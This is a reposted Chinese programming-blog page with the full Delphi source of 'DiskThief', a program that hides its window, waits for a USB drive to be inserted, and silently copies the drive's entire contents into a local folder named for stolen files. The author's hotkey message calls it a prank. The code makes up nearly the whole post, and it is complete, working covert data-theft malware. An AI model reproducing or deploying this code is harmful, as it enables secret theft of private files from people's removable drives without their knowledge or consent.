delphi 闪盘小偷


本文整理自网络,侵删。

 delphi 闪盘小偷

program DiskThief;

uses
Forms,Windows,
Un_Main in 'Un_Main.pas' {Frm_Main};

{$R *.res}
var
hMutex:HWND;
Ret:Integer;
begin
Application.Initialize;
Application.Title := 'DiskThief';
hMutex:=CreateMutex(nil,False,'FDiskT'); //避免2次运行
Ret:=GetLastError;
If Ret<>ERROR_ALREADY_EXISTS Then
Begin
Application.CreateForm(TFrm_Main, Frm_Main);
Application.Run;
End
Else
begin
ReleaseMutex(hMutex);
end;

end.

unit Un_Main;

interface

uses
Windows, Messages, SysUtils,Forms;

type
TFrm_Main = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
function CopyDirAll(sDirName:String;sToDirName:String):Boolean;
public
{ Public declarations }
end;
const
DBT_DEVICEARRIVAL = $8000; // system detected a new device
DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone
DBT_DEVTYP_VOLUME = $00000002; // logical volume
DBTF_MEDIA = $0001; // media comings and goings
type
PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
TDEV_BROADCAST_HDR = packed record
dbch_size : DWORD;
dbch_devicetype : DWORD;
dbch_reserved : DWORD;
end;
PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
TDEV_BROADCAST_VOLUME = packed record
dbcv_size : DWORD;
dbcv_devicetype : DWORD;
dbcv_reserved : DWORD;
dbcv_unitmask : DWORD;
dbcv_flags : WORD;
end;

var
Frm_Main: TFrm_Main;
QuitId,ShowMe: Integer;
implementation

{$R *.dfm}
procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var lpdb : PDEV_BROADCAST_HDR;
lpdbv : PDEV_BROADCAST_VOLUME;
unitmask:DWORD;
i:integer;
begin
lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
case Msg.WParam of
DBT_DEVICEARRIVAL ://有设备安装完毕

if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
begin
lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
for i:=0 to 25 do //遍历磁盘
begin
if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
break;
unitmask := unitmask shr 1;
end;
//char(i+65);//变化的盘符
CopyDirAll(Char(i+65)+':\',ExtractFileDir(Application.Exename)+'\窃取的文件\');//拷贝源和目标,自行修改吧
end;

end;
end;

function TFrm_Main.CopyDirAll(sDirName:String;sToDirName:String):Boolean;
var
hFindFile:Cardinal; //拷贝整个目录(包括子目录)
t,tfile:String;
sCurDir:String[255];
FindFileData:WIN32_FIND_DATA;
begin
//先保存当前目录
sCurDir:=GetCurrentDir;
ChDir(sDirName);
hFindFile:=FindFirstFile('*.*',FindFileData);
if hFindFile<>INVALID_HANDLE_VALUE then
begin
if not DirectoryExists(sToDirName) then
ForceDirectories(sToDirName);
repeat
tfile:=FindFileData.cFileName;
if (tfile='.') or (tfile='..') then
Continue;
if FindFileData.dwFileAttributes=
FILE_ATTRIBUTE_DIRECTORY then
begin
t:=sToDirName+'\'+tfile;
if not DirectoryExists(t) then
ForceDirectories(t);
if sDirName[Length(sDirName)]<>'\' then
CopyDirAll(sDirName+'\'+tfile,t)
else
CopyDirAll(sDirName+tfile,sToDirName+tfile);
end
else
begin
t:=sToDirName+'\'+tFile;
CopyFile(PChar(tfile),PChar(t),True);
end;
until FindNextFile(hFindFile,FindFileData)=false;

Windows.FindClose(hFindFile);
end
else
begin
ChDir(sCurDir);
result:=false;
exit;
end;
//回到原来的目录下
ChDir(sCurDir);
result:=true;
end;

procedure TFrm_Main.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=False;
QuitId:= GlobalAddAtom('MyQuitId') - $C000;//注册热键
RegisterHotKey(Handle, QuitId, MOD_CONTROL or MOD_Alt,VK_F12 );
ShowMe:= GlobalAddAtom('MyShowMe') - $C000;//注册热键
RegisterHotKey(Handle, ShowMe, MOD_CONTROL or MOD_Alt or MOD_Shift,VK_Home );
end;

procedure TFrm_Main.HotKeyDown(var Msg: Tmessage);
begin
if (Msg.LparamLo = MOD_CONTROL or MOD_Alt) AND (Msg.LParamHi= VK_F12) then //退出
begin
Close;
end;
if (Msg.LparamLo = MOD_CONTROL or MOD_Alt or MOD_Shift) AND (Msg.LParamHi= VK_Home) then
begin
Application.MessageBox('作者:杨石磊 制作于:2005年12月14日'+#13+#13+'恶作剧软件,请不要用于其他途径:)','闪存小偷v1.0',MB_ICONINFORMATION);
end;
end;

procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnRegisterHotKey(handle, QuitId);//释放热键
UnRegisterHotKey(handle, ShowMe);
end;

end.

相关阅读 >>

Delphi xe 取得 app 自己的版本号 (狠跨 4 个平台)

Delphi android gps服务

Delphi使用mcisendstring播放背景音��

Delphi防止因系统崩溃而丢失任务栏的图标(重建托盘图标)

Delphi unicode 转 gbk

Delphi2010获取鼠标指向窗口的位置及鼠标在窗口内的相对位置坐标

在一个exe文件中查找指定内容,找到则返回起始位置,否则返回0

Delphi 回车符 换行符

Delphi字符串、数组操作函数

Delphi 如何识别应用程序没有响应

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...